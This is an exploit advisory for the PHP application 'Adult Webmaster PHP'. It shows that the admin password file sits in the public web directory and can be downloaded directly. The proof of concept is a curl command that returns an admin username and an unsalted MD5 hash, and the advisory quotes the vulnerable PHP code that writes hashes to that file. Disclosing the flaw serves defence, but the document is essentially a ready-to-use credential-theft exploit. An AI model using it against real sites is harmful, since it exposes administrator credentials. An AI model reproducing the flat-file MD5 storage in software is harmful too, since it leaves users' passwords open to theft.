Adult Webmaster PHP - Password Disclosure

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[+] Exploit:Adult Webmaster PHP - Password Disclosure                    #
[+] Author: vinicius777					                 #
[+] Email/Twitter: vinicius777 [AT] gmail  @vinicius777_                 #	                 
[+] Vendor Homepage: http://sourceforge.net/projects/adultweb/  	 #
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[1] Administrative Credential Disclosure

PoC: 

root@kali:/# curl http://localhost/home/caspers/public_html/demo/admin/userpwdadfasdfre.txt

admin:3a4ebf16a4795ad258e5408bae7be341

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Vulnerable Code:
[+] admin/common.php

        // Check user existance 
        $pfile = fopen("userpwdadfasdfre.txt","a+");
    rewind($pfile);

    while (!feof($pfile)) {
        $line = fgets($pfile);
        $tmp = explode(':', $line);
        if ($tmp[0] == $user) {
            $errorText = "The selected user name is taken!";
            break;
        }
    }

    // If everything is OK -> store user data
    if ($errorText == ''){
                // Secure password string
                $userpass = md5($pass1);

                fwrite($pfile, "\r\n$user:$userpass");
    }

    fclose($pfile);
 

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# Greetz to g0tm1lk and TheColonial.